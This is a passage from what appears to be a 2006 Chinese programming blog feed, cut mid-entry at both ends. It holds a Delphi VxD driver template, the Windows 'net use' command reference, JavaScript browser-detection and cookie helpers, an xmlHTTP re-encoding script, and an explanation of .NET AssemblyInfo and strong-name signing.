<P>function w32deviceiocontrol(dwservice : integer; <BR>　　　　　　　　　　　　　　 dwddb : integer; <BR>　　　　　　　　　　　　　　 hdevice : integer; <BR>　　　　　　　　　　　　　　 lpdiocparms : pointer) : integer; <BR>begin <BR>　 shellmessage(0, $10, copyright, ’w32devioctl’, nil, nil); </P>
<P>　if (dwservice = dioc_open) then <BR>　 begin <BR>　　　 result := no_error; <BR>　 end <BR>　 else if (dwservice = dioc_closehandle) then <BR>　 begin <BR>　　　 result := vxd_success; <BR>　 end <BR>　 else if (dwservice &gt; max_pasvxd_w32_api) then <BR>　 begin <BR>　　　 result := error_not_supported; <BR>　 end <BR>　　 else <BR>　 begin <BR>　　　 result := vxd_success;　<BR>　 end; <BR>end; <BR>... <BR></P>
<P>　　[译者：好了，简单的 vxd 设备驱动程序编写完毕了。你可以将它当作一个写 vxd 设备驱动程序的模板。] </P>
<P>　　附一：make.bat <BR></P>
<P>d:\visual~1\98ddk\bin\win98\ml -coff -dbld_coff -dis_32 -w2 -c -cx -zm -dmasm6 vxdmain.asm <BR>call dcc3.bat -j vxdprocs.pas <BR>d:\visual~1\98ddk\bin\link /def:vxddef.def /vxd vxdmain.obj vxdprocs /out:delphiio.vxd </P>
<P>　　附二： </P>
<P>　　现在让我们来编写对该 vxd 的测试程序，两个按钮：一个打开 vxd；一个关闭 vxd。 </P>
<P>const <BR>vxdname = ’\\.\delphiio.vxd’; </P>
<P>... </P>
<P>function tvxdtestform.openvxddriver: boolean; <BR>begin <BR>hvxdhandle := createfile(vxdname,0,0,nil,0,file_flag_delete_on_close,0); <BR>result := hvxdhandle &lt;&gt; invalid_handle_value; <BR>end; </P>
<P>procedure tvxdtestform.closevxddriver; <BR>begin <BR>if hvxdhandle &lt;&gt; invalid_handle_value then begin <BR>　 closehandle(hvxdhandle); <BR>　 hvxdhandle := invalid_handle_value; <BR>end; <BR>end </P>
<P>&nbsp;</P>
<P>　　顺便说一下,delphi中有个编译选项可以控制程序加载的入口</P>
<P>　　一般是0x00400000,你可以改。<BR></P>
<P>摘:http://www.ddvip.net/program/delphi/index3/74.htm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=193" /> 
	  <id>http://www.openx.cn/default.asp?id=193</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[如何管理WINDOWS已经打开网络连接]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-01-17T14:29:46+08:00</updated>
	  <published>2006-01-17T14:29:46+08:00</published>
		  <summary type="html"><![CDATA[<H1><FONT size=2>删除所有已经打开的网络连接：net use * /d<BR>使用命令打开网络连接：net use </FONT><a href="http://www.openx.cn/file://192.168.0.29/"><FONT size=2>\\192.168.0.29</FONT></A><FONT size=2> /user:administrator</FONT></H1>
<P>以下是Net Use 命令的全部参考文档（摘自windows帮助）</P>
<H1>Net use</H1>
<P>将计算机连接到某个共享资源或与其断开连接，或者显示有关计算机连接的信息。该命令还控制永久性网络连接。如果在没有参数的情况下使用，则 <B>net use</B> 检索网络连接列表。</P>
<H2>语法</H2>
<P><NOBR><B>net use</B> <WBR></WBR>[{<I>DeviceName</I> | <B>*</B>}] <WBR></WBR>[{<B>\\</B><I>ComputerName</I><B>[\</B><I>ShareName</I>[<B>\</B><I>Volume</I>]]] |[<B>http://</B><I>ComputerName</I><B>/</B><I>ShareName</I>[<B>/</B><I>Folder</I>]}] [{<I>Password</I> | <B>*</B>}]] <WBR></WBR>[<B>/user:</B>[<I>DomainName</I><B>\</B>]<I>UserName</I>] <WBR></WBR>[<B>/user:</B>[<I>DottedDomainName</I><B>\</B>]<I>UserName</I>] <WBR></WBR>[<B>/user:</B> [<I>UserName</I><B>@</B><I>DottedDomainName</I>] <WBR></WBR>[<B>/savecred</B>] <WBR></WBR>[<B>/smartcard</B>] <WBR></WBR>[{<B>/delete</B> | <B>/persistent:</B>{<B>yes</B> | <B>no</B>}}]</NOBR></P>
<P><NOBR><B>net use </B>[<I>DeviceName</I> <WBR></WBR>[<B>/home</B>[{<I>Password</I> | <B>*</B>}] <WBR></WBR>[<B>/delete:</B>{<B>yes</B> | <B>no</B>}]]</NOBR></P>
<P><NOBR><B>net use</B> <WBR></WBR>[<B>/persistent:</B>{<B>yes</B> | <B>no</B>}]</NOBR></P>
<H2>参数</H2>
<DL>
<DT><I>DeviceName</I> 
<DD>指派名称以连接到资源或指定要断开连接的设备。有两种设备名称：磁盘驱动器（即从 D: 到 Z:）和打印机（即从 LPT1: 到 LPT3:）。键入星号 (*) 代替指定的设备名称来指派下一个可用的设备名称。 
<DT><B>\\</B><I>ComputerName</I><B>\</B><I>ShareName</I> 
<DD>指定服务器和共享资源的名称。如果 <I>ComputerName</I> 包含空格，请使用引号将整个计算机名引起来，从 <B>\\</B> 开始到计算机名的末尾（如 <B>"\\</B><I>Computer&nbsp;Name</I><B>\</B><I>Share&nbsp;Name</I><B>"</B>）。计算机名可以有 1 到 15 个字符。如果省略了 <I>\ShareName</I>，则连接将尝试连接到 <I>ipc$</I> 共享。 
<DT><B>\</B><I>Volume</I> 
<DD>指定服务器上的 NetWare 卷。必须安装并运行“NetWare 客户端服务”以连接到 NetWare 服务器。 
<DT><B>http://</B><I>ComputerName</I><B>/</B><I>ShareName</I>[<B>/</B><I>Volume</I>] 
<DD>指定 WebDAV 服务器和共享资源的名称。如果 <I>ComputerName</I> 包含空格，请使用引号将整个计算机名引起，即从 http 前缀 (http://) 到计算机名的末尾。 
<DT><I>Password</I> 
<DD>指定访问共享资源所需的密码。键入星号 (*) 将给出密码的提示。在密码提示符下处键入密码时不显示密码。 
<DT><B>/user</B> 
<DD>指定用其建立连接的其他用户名。该参数不可与 /savecred 一起使用。 
<DT><I>DomainName</I> 
<DD>指定其他的域。如果忽略 <I>DomainName</I>，则 <B>net use</B> 将使用当前登录到的域。 
<DT><I>UserName</I> 
<DD>指定登录时使用的用户名。 
<DT><I>DottedDomainName</I> 
<DD>指定用户帐户所在域完全合格的域名。 
<DT><B>/savecred</B> 
<DD>如果系统提示用户输入密码，请存储提供的凭据以便再使用。该参数无法与 /smartcard 或 /user 一起使用。 
<DT><B>/smartcard</B> 
<DD>指定网络连接要使用智能卡上的凭据。如果多个智能卡可用，则将要求您指定凭据。该参数不可与 /savecred 一起使用。 
<DT><B>/delete</B> 
<DD>取消指定的网络连接。如果用星号 (*) 指定连接，则将取消所有网络连接。 
<DT><B>/persistent:</B>{<B>yes</B> | <B>no</B>} 
<DD>控制永久性网络连接的使用。默认值是最近一次所用的设置。无设备的连接不是永久性的。<B>Yes</B> 将在连接完成后保存所有连接，并在下一次登录时将其恢复。<B>No</B> 不保存所完成的连接或后续连接。现有的连接将在下次登录时恢复。使用 <B>/delete</B> 删除永久性连接。 
<DT><B>/home</B> 
<DD>将用户连接到主目录。 
<DT><B>net help</B> <I>Command</I> 
<DD>显示指定 <B>net</B> 命令的帮助。 </DD></DL>
<H2>注释</H2>
<UL>
<LI>使用 <B>net use</B> 可以连接到网络资源以及从中断开连接，并查看当前连接到网络资源的连接。如果将其作为当前驱动器而使用，或者某个活动进程正在使用它，则不应当从共享目录中断开连接。 
<LI>要查看关于某个连接的信息，可以执行下列任何一种操作： 
<UL>
<LI>键入 <B>net use</B> <I>DeviceName</I> 获得关于某个特定连接的信息。 
<LI>键入 <B>net use</B> 获得所有计算机连接的列表。 </LI></UL>
<LI>无设备的连接不是永久性的。 
<LI>在安装并运行“Netware 客户端服务”后，则可以连接到 Novell 网络上的 Netware 服务器。使用与连接到 Windows Networking 服务器所用的相同的语法，但是必须包括要连接到的卷。 
<LI>如果提供的 <I>ServerName</I> 包含空格，请在文本两边使用引号（即 <B>"</B><I>Server&nbsp;Name</I><B>"</B>）。如果忽略引号，将出现错误消息。 </LI></UL>
<H2>示例</H2>
<P>要将磁盘驱动器设备名 E: 指派给 \\Financial 服务器上的 Letters 共享目录，请键入： </P>
<P><B>net use e: \\financial\letters</B> </P>
<P>要将磁盘驱动器设备名 M: 指派（映射）给 \\Financial NetWare 服务器上的 Letters 卷内的目录 Mike，请键入：</P>
<P><B>net use m: \\financial\letters\mike</B> </P>
<P>要连接用户标识符 Dan，如同该连接是从“Accounts”域中完成，请键入：</P>
<P><B>net use d:\\server\share /user:Accounts\Dan</B> </P>
<P>要使用 Passport 帐户 <I>UserName</I>@passport.com 将磁盘驱动器设备名 F: 指派（映射）给称为 <I>TargetName</I> 的 MSN Internet 访问社区中的文件包，请键入：</P>
<P><B>net use f: http://www.msnusers.com/<I>TargetName</I> /user:<I>UserName</I>@passport.com</B> </P>
<P>要从 \\Financial\Public 目录断开连接，请键入： </P>
<P><B>net use f: \\financial\public /delete</B> </P>
<P>要连接到在 \\Financial 2 服务器上共享的资源备忘录，请键入： </P>
<P><B>net use k: "\\financial 2" \memos</B> </P>
<P>要在每次登录时恢复当前连接而不考虑以后的变化，请键入： </P>
<P><B>net use /persistent:yes</B> </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=192" /> 
	  <id>http://www.openx.cn/default.asp?id=192</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[收集些小代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-17T12:07:41+08:00</updated>
	  <published>2006-01-17T12:07:41+08:00</published>
		  <summary type="html"><![CDATA[<P>js</P>
<P>/*返回客户端使用浏览器类型*/<BR><STRONG><FONT color=#0000a0>function</FONT></STRONG> browserDetect<FONT color=#0000ff>(</FONT><FONT color=#0000ff>)</FONT><FONT color=#0000ff>{</FONT><BR><FONT color=#0000a0><B>var</B></FONT> sUA <FONT color=#0000ff>=</FONT> <FONT color=#800000><B>navigator</B></FONT><FONT color=#0000ff>.</FONT>userAgent<FONT color=#0000ff>.</FONT>toLowerCase<FONT color=#0000ff>(</FONT><FONT color=#0000ff>)</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>var</B></FONT> sIE <FONT color=#0000ff>=</FONT> sUA<FONT color=#0000ff>.</FONT><FONT color=#5000a0>indexOf</FONT><FONT color=#0000ff>(</FONT><FONT color=#ff00ff>"msie"</FONT><FONT color=#0000ff>)</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>var</B></FONT> sOpera <FONT color=#0000ff>=</FONT> sUA<FONT color=#0000ff>.</FONT><FONT color=#5000a0>indexOf</FONT><FONT color=#0000ff>(</FONT><FONT color=#ff00ff>"opera"</FONT><FONT color=#0000ff>)</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>var</B></FONT> sMoz <FONT color=#0000ff>=</FONT> sUA<FONT color=#0000ff>.</FONT><FONT color=#5000a0>indexOf</FONT><FONT color=#0000ff>(</FONT><FONT color=#ff00ff>"gecko"</FONT><FONT color=#0000ff>)</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>if</B></FONT> <FONT color=#0000ff>(</FONT>sOpera <FONT color=#0000ff>!</FONT><FONT color=#0000ff>=</FONT> <FONT color=#0000ff>-</FONT>1<FONT color=#0000ff>)</FONT> <FONT color=#0000a0><B>return</B></FONT> <FONT color=#ff00ff>"opera"</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>if</B></FONT> <FONT color=#0000ff>(</FONT>sIE <FONT color=#0000ff>!</FONT><FONT color=#0000ff>=</FONT> <FONT color=#0000ff>-</FONT>1<FONT color=#0000ff>)</FONT><FONT color=#0000ff>{</FONT><BR>nIeVer <FONT color=#0000ff>=</FONT> parseFloat<FONT color=#0000ff>(</FONT>sUA<FONT color=#0000ff>.</FONT><FONT color=#5000a0>substr</FONT><FONT color=#0000ff>(</FONT>sIE <FONT color=#0000ff>+</FONT> 5<FONT color=#0000ff>)</FONT><FONT color=#0000ff>)</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>if</B></FONT> <FONT color=#0000ff>(</FONT>nIeVer <FONT color=#0000ff>&gt;</FONT><FONT color=#0000ff>=</FONT> 6<FONT color=#0000ff>)</FONT> <FONT color=#0000a0><B>return</B></FONT> <FONT color=#ff00ff>"ie6"</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>else</B></FONT> <FONT color=#0000a0><B>if</B></FONT> <FONT color=#0000ff>(</FONT>nIeVer <FONT color=#0000ff>&gt;</FONT><FONT color=#0000ff>=</FONT> 5<FONT color=#0000ff>.</FONT>5<FONT color=#0000ff>)</FONT> <FONT color=#0000a0><B>return</B></FONT> <FONT color=#ff00ff>"ie55"</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>else</B></FONT> <FONT color=#0000a0><B>if</B></FONT> <FONT color=#0000ff>(</FONT>nIeVer <FONT color=#0000ff>&gt;</FONT><FONT color=#0000ff>=</FONT> 5 <FONT color=#0000ff>)</FONT> <FONT color=#0000a0><B>return</B></FONT> <FONT color=#ff00ff>"ie5"</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000ff>}</FONT><BR><FONT color=#0000a0><B>if</B></FONT> <FONT color=#0000ff>(</FONT>sMoz <FONT color=#0000ff>!</FONT><FONT color=#0000ff>=</FONT> <FONT color=#0000ff>-</FONT>1<FONT color=#0000ff>)</FONT> <FONT color=#0000a0><B>return</B></FONT> <FONT color=#ff00ff>"moz"</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000a0><B>return</B></FONT> <FONT color=#ff00ff>"other"</FONT><FONT color=#0000ff>;</FONT><BR><FONT color=#0000ff>}</FONT><BR></P>
<P>/*Cookie的设置读取*/</P>
<P>function getCookieVal(offset)<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;var endstr = document.cookie.indexOf (";", offset);<BR>&nbsp;&nbsp;&nbsp;if (endstr == -1)<BR>&nbsp;&nbsp;&nbsp;endstr = document.cookie.length;<BR>&nbsp;&nbsp;&nbsp;return unescape(document.cookie.substring(offset, endstr));<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;function GetCookie(name) //读取<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;var arg = name + "=";<BR>&nbsp;&nbsp;&nbsp;var alen = arg.length;<BR>&nbsp;&nbsp;&nbsp;var clen = document.cookie.length;<BR>&nbsp;&nbsp;&nbsp;var i = 0;<BR>&nbsp;&nbsp;&nbsp;while (i &lt; clen) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;var j = i + alen;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (document.cookie.substring(i, j) == arg)<BR>&nbsp;&nbsp;&nbsp;&nbsp;return getCookieVal (j);<BR>&nbsp;&nbsp;&nbsp;&nbsp;i = document.cookie.indexOf(" ", i) + 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (i == 0) break; <BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;return null;<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;function SetCookie(name, value)//设置<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;var argv = SetCookie.arguments;<BR>&nbsp;&nbsp;&nbsp;var argc = SetCookie.arguments.length;<BR>&nbsp;&nbsp;&nbsp;var expires = (argc &gt; 2) ? argv[2] : null;<BR>&nbsp;&nbsp;&nbsp;var path = (argc &gt; 3) ? argv[3] : null;<BR>&nbsp;&nbsp;&nbsp;var domain = (argc &gt; 4) ? argv[4] : null;<BR>&nbsp;&nbsp;&nbsp;var secure = (argc &gt; 5) ? argv[5] : false;<BR>&nbsp;&nbsp;&nbsp;document.cookie = name + "=" + escape (value) +<BR>&nbsp;&nbsp;&nbsp;((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +<BR>&nbsp;&nbsp;&nbsp;((path == null) ? "" : ("; path=" + path)) +<BR>&nbsp;&nbsp;&nbsp;((domain == null) ? "" : ("; domain=" + domain)) +<BR>&nbsp;&nbsp;&nbsp;((secure == true) ? "; secure" : "");<BR>&nbsp;&nbsp;}</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=191" /> 
	  <id>http://www.openx.cn/default.asp?id=191</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[xmlHTTP返回值重编码的优化]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-16T09:40:09+08:00</updated>
	  <published>2006-01-16T09:40:09+08:00</published>
		  <summary type="html"><![CDATA[<P>&lt;html&gt;<BR>&lt;head&gt;<BR>&lt;title&gt;xml Http&lt;/title&gt;</P>
<P>&lt;script language=javascript&gt;<BR>//***Author: Hutia</P>
<P>//测试用的网址<BR>url="http:\/\/www.blueidea.com\/";</P>
<P>//确认需要的VBScript函数是否存在，不存在就写一个<BR>try{<BR>if(typeof(rsB)=="undefined"){initVBS();};<BR>}catch(e){initVBS();}</P>
<P>//**全局变量**<BR>//glbEncode储存ascii到unicode字符的转换,这样做的好处是可以提高重复解码时的解码效率<BR>glbEncode=new Array();</P>
<P>//**初始化函数**<BR>function initVBS(){<BR>&nbsp;//初始化VBscript的两个funtion:rsB 和 vbChar<BR>&nbsp;strVBS="&lt;script language=vbscript&gt;\r\n";<BR>&nbsp;strVBS+="Function rsB(vIn)\r\nrsB=MidB(vIn,1)\r\nEnd Function\r\n";<BR>&nbsp;strVBS+="Function vbChar(ss)\r\nvbChar = Chr(ss)\r\nEnd Function\r\n";<BR>&nbsp;strVBS+="&lt;\/script&gt;";<BR>&nbsp;document.write(strVBS);<BR>}</P>
<P>//用同步方式获取网页内容<BR>function loadURL(strURL){<BR>&nbsp;if(!strURL){return(false);}<BR>&nbsp;var xmlHTTP=new ActiveXObject("MSXML2.XMLHTTP");<BR>&nbsp;xmlHTTP.open("GET",strURL,false);<BR>&nbsp;xmlHTTP.send("");<BR>&nbsp;return xmlHTTP;<BR>}</P>
<P>//重编码<BR>function reCode(b){<BR>&nbsp;var s=rsB(b);<BR>&nbsp;s=escape(s).replace(/%u/gi,"").replace(/(.{2})(.{2})/g,"%$2%$1").replace(/%([A-Z].)%(.{2})/ig,"<a href="http://www.openx.cn/mailto:%@$1$2">%@$1$2</A>");<BR>&nbsp;var uniS=s.match(/\%@(.{4})/g);<BR>&nbsp;s=s.replace(<A>/@/g</A>,"");<BR>&nbsp;if(uniS){<BR>&nbsp; var k;<BR>&nbsp; for(var i=0;i&lt;uniS.length;i++){<BR>&nbsp;&nbsp; k=uniS[i].substring(2,6);<BR>&nbsp;&nbsp; if(!glbEncode[k]){<BR>&nbsp;&nbsp;&nbsp; glbEncode[k]=escape(vbChar(eval("0x"+k))).substring(1,6);<BR>&nbsp;&nbsp; }<BR>&nbsp; }<BR>&nbsp; tempA=s.split("%");<BR>&nbsp; for(var i=0;i&lt;tempA.length;i++){<BR>&nbsp;&nbsp; if(tempA[i].length!=2){<BR>&nbsp;&nbsp;&nbsp; tempA[i]=glbEncode[tempA[i]];<BR>&nbsp;&nbsp; }<BR>&nbsp; }<BR>&nbsp; s=tempA.jo&#105;n("%");<BR>&nbsp;}<BR>&nbsp;return unescape(s);<BR>}</P>
<P>function init(){<BR>&nbsp;stTime=(new Date()).getTime();<BR>&nbsp;ree=loadURL(url).responseBody;<BR>&nbsp;stTime2=(new Date()).getTime();<BR>&nbsp;s001=reCode(ree);<BR>&nbsp;stTime3=(new Date()).getTime();<BR>&nbsp;s001=reCode(ree);<BR>&nbsp;stTime4=(new Date()).getTime();<BR>&nbsp;s001=reCode(ree);<BR>&nbsp;stTime5=(new Date()).getTime();<BR>&nbsp;document.body.innerText="共计下载"+s001.length+"字节";<BR>&nbsp;stTime6=(new Date()).getTime();<BR>&nbsp;strR="下载用时"+(stTime2-stTime)+"ms\r\n";<BR>&nbsp;strR+="解码用时"+(stTime3-stTime2)+"ms\r\n";<BR>&nbsp;strR+="再次解码用时"+(stTime4-stTime3)+"ms\r\n";<BR>&nbsp;strR+="再次再次解码用时"+(stTime5-stTime4)+"ms\r\n";<BR>&nbsp;strR+="显示用时"+(stTime6-stTime5)+"ms\r\n";<BR>&nbsp;document.body.innerText+=strR;<BR>&nbsp;document.body.innerText+=s001;<BR>}<BR>&lt;/script&gt;<BR>&lt;/head&gt;<BR>&lt;body onload="init();"&gt;<BR>下载中...<BR>&lt;/body&gt;<BR>&lt;/html&gt;</P>
<P>摘:蓝色理想 <A href="http://www.blueidea.com/tech/program/2006/3142.asp">http://www.blueidea.com/tech/program/2006/3142.asp</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=190" /> 
	  <id>http://www.openx.cn/default.asp?id=190</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[.net 开发中的AssemblyInfo.cs文件的作用]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-11T12:55:45+08:00</updated>
	  <published>2006-01-11T12:55:45+08:00</published>
		  <summary type="html"><![CDATA[<P>AssemblyInfo.cs主要用来设定生成的有关程序集的常规信息dll文件的一些参数请看以下具体说明： <BR>//备注: <BR>[assembly:AssemblyDescription("用最强的抢劫类写成！")] <BR>//产品名称 <BR>[assembly:AssemblyProduct("产品名称 ")] <BR>//公司 <BR>[assembly:AssemblyCompany("公司")]<BR>//合法商标 <BR>[assembly:AssemblyTrademark("合法商标")];<BR>//内部名称 <BR>[assembly:AssemblyCulture("")]<BR>//设计者 <BR>[assembly:AssemblyDescription("设计者 ")] <BR>//版权 <BR>[assembly:AssemblyCopyright("版权")] <BR>//配置文件 <BR>[assembly:AssemblyConfiguration("Configuration")] <BR>//产品版品： 可指定,如下 <BR>// 程序集的版本信息由下列 4 个值组成: // <BR>// 主版本 <BR>// 次版本 <BR>// 内部版本号 <BR>// 修订号 // <BR>// 您可以指定所有这些值，也可以使用“修订号”和“内部版本号”的默认值，方法是按 <BR>// 如下所示使用 '*': [assembly:AssemblyVersion("1.0.*")] 生成dll文件以后再点击右键看看它的属性，你就为在里面看到熟悉的内容了.</P>
<DIV><FONT size=3>如果你使用.NET作为开发工具很长时间了，你肯定回会碰到“强名”（strong name）这个概念。这个概念并不意味你的组件命名方式必须类似于MyCompany.Gorilla.Biceps的方式。强名的力量体现在对组件的保护方面，.NET Framework使用强名来标识组件和保护组件使其免遭破坏。在这篇文章中我将说明如何建立强名，以及在.NET中使用强名的技巧。</FONT></DIV>
<P><BR><BR>1． 散列和签名 为了了解强名的工作原理，你必须首先理解密码学方面的两个概念：散列（hashing）和数字签名(digital signatures)。散列是用来为明文（plaintext）信息创建一个唯一的压缩的值。这里的“信息”是一个很广泛的概念，对于组件来说，信息就是它本身。如图1所示，信息作为散列作为散列算法的输入而被处理，对于强名情况，采用SHA1算法。 </P>
<P>散列是不可逆的，一旦计算出来，是不可能解密的。但是，散列在比较值方面是非常有用的。如果两个组件生成同样的散列值，你可以认为这两个组件是相同的。相反，通过散列计算出来的值和以前计算的值不一样，说明组件中某个地方被修改了。 因此通过散列值你就可以知道，组件是否被修改或破坏。然而你怎样通过散列值来防止别人对你的组件的修改呢？下面就是我要讲的“数字签名”。 虽然数字签名的具体数学原理很复杂，但是概念很简单。一个数字签名依赖于两个相关的数字：公共秘匙（public key）和私有密匙(private key)。如图2所示，当数据通过公共秘匙加密后，它只能通过私有密匙来解密，反之亦然。 </P>
<P>2． 组件的强名 在.NET中共同使用散列和数字签名就能够保护你的组件免遭破坏。其原理如图3所示，首先从组件产生一个散列值，然后这个散列值通过你的私有密匙被加密，然后这个散列值和公共密匙被一起防止在组件中。&nbsp;<BR>在运行的时候，公共语言运行时（CLR）通过比较散列值验证组件。首先公共的密匙用来解密散列，从当前的组件中计算出一个新的散列。如果它和原来的值吻合，那就通过了验证<BR>那么如果一个组件在签名之后被破坏将会发生什么样的情况呢？显然，在运行时从组件中计算出来的散列值将不会与存储在组件中通过私有密匙加密的散列值吻合，这样公共语言运行时将拒绝加载该组件。 <BR><BR>注意强名只是保证了组件的完整性，而并非它的安全性，没有什么办法来防止某个人创建一个恶意的组件，并通过强名来给它签名。你可以通过强名来验证某个组件在签名后是否被破坏。基于你对于信息的选择。这一切将由你来决定是否相信从某个地方来的组件和代码信息。 <BR><BR>3．强名的其它信息 <BR><BR>除了从组件内容求出来的散列，强名还包含一下三个方面的信息。 <BR><BR>l 组件简单文本名称 <BR><BR>l 组件版本号 <BR><BR>l 组件的语言文化代码 <BR><BR>所有的这些信息，将为每个组件提供唯一的标识。有了这些信息，公共语言运行时可以决定一个组件是否被另一个组件通过引用的方式调用。当你从一个组件引用另一个组件，该组件将存储被调用组件的公共密匙。在运行的时候，公共语言运行时将通过这些来判断该组件是否来自正确的供应商。另外强名中的其它信息用来判断组件是否符合引用的绑定策略（binding policy）的要求。 <BR><BR>4．使用强名的技巧 <BR><BR>.NET Framwork SDK和 Visual Studio.NET为指定强名提供了很多的工具，这是很有意义的，因为通过Visual Studio.NET来创建组件具有更多的选择。在你签名之前你必须创建一对密匙（公共密匙和私有密匙），通常密匙对放置在以.snk结尾的文件中。可以通过强名工具sn.exe来实现。 <BR><BR>sn -k MyKeyFile.snk <BR>如果你使用命令行编译器（vbc.exe或者csc.exe），你就可以为组件连接器al.exe,指定密匙对。如下面的命令行所示，你可以将存储在MyKeyFile.snk中的密匙对作为MyFile.dll的签名。 <BR><BR>al /out:MyFile.dll MyFile.netmodule /keyfile:MyKeyFile.snk <BR>如果你使用Visual Studio .NET，你仍然可以通过命令行的方式产生你的密匙对。有了密匙对之后你就可以通过设定在组件信息文件（AssemblyInfo.vb 或者semblyInfo.cs）的【AssemblyKeyFile】属性来把它包含到组件中。例如C＃工程，你可以通过该属性包含密匙文件而生成一个签名组件。 <BR><BR>[assembly: AssemblyKeyFile("..\\..\\MyKeyFile.snk")] <BR><BR>从被编译的组件到密匙文件，【AssemblyKeyFile】属性中的文件名必须包含完整的相对路径。 <BR><BR>5．通过延迟签名加密 <BR><BR>保护你的私有密匙是非常重要的，如果某个恶意的人取得了你的密匙，他生成的组件将和你签过名的组件一样。因此，应当把你的密匙设于高度的保密状态，公司里面可能就只有几个人知道。这样以来，又怎么给你的组件签名呢？如果就只有你一个人知道密匙，这样会很繁琐，因为你必须为公司中每个开发者开发出来的每个组件签名。 <BR><BR>很幸运的是.NET为这个问题提供了一个很好的方法：延迟签名。通过延迟签名，你可以在只知道公共密匙的情况下创建和测试组件。只有在组件实际分发给用户时才将私有密钥匙包含到组件。下面是使用延迟签名过程的一些技巧总结： <BR><BR>1. 从公共/私有密钥匙对中提取公共密匙。为了提取公共密匙，也就是存储公共/私有密匙对，你可以使用强名工具，命令行如下： <BR><BR>sn.exe -p MyKeyFile.snk MyPublicKeyFile.snk <BR><BR>2. 将包含公共密匙的文件分发给公司所有的开发者，同时将包含公共/私有密钥匙对的文件安全存放。 <BR><BR>3. 在组件信息文件中包含公共密匙的文件，并注明延迟签名。 <BR><BR>[assembly: AssemblyDelaySign(true)] <BR>[assembly: AssemblyKeyFile("..\\..\\MyPublicKeyFile.snk")] <BR>如果你使用组件连接工具，而非Visual Studio .NET，你可以使用/delaysign命令行来表明延迟签名。 <BR><BR>4. 如果你把组件保存在全局程序集缓存（GAC）中，应关闭对组件的验证，因为GAC默认验证每个组件的强名。如果组件没有采用私有密钥匙来签名，这个验证将会失败。因此，出于开发和测试的目的你可以输入如下的命名行： <BR><BR>sn.exe -Vr MyFile.dll <BR><BR>5. 这样，你就可以在开发和测试的时候很自由的使用组件 <BR><BR>6. 当部署一个延迟签名的组件的时候，你必须通过私有密匙来给它签名。 <BR><BR>sn.exe -R MyFile.dll MyKeyFile.snk <BR><BR>7. 最后，你必须通知GAC重新开启对组件的验证。命名行如下： <BR><BR>sn.exe -Vu MyFile.dll <BR>6．可信任计算(TrsutWorthy Computing) <BR><BR>你肯定听说过微软的“可信任计算”措施，它包含了有关微软产品的很多安全方面的措施。微软正慢慢的而且必然的朝着一个方向发展，那就是他们将使他们所有的软件产品是默认安全的。如果你知道你在做什么，你就可以降低软件（如Windows Server 2003）的安全级别。虽然降低了安全级别，但太可能使你受到突发事件的攻击。 <BR><BR>当你给你的组件赋予强名，你在做就是“可信任计算”。通过强名来分发你的组件，会使得组件不太可能成为木马和其他攻击计算机黑客程序的载体。.NET Framework和Visual Studio .NET提供的工具保证了你分发组件的完整性。因此我强烈建议你使用这些工具，通过这些工具来使得计算世界变得更安全一点。 <BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=189" /> 
	  <id>http://www.openx.cn/default.asp?id=189</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C#处理文本文件]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-01-11T12:50:15+08:00</updated>
	  <published>2006-01-11T12:50:15+08:00</published>
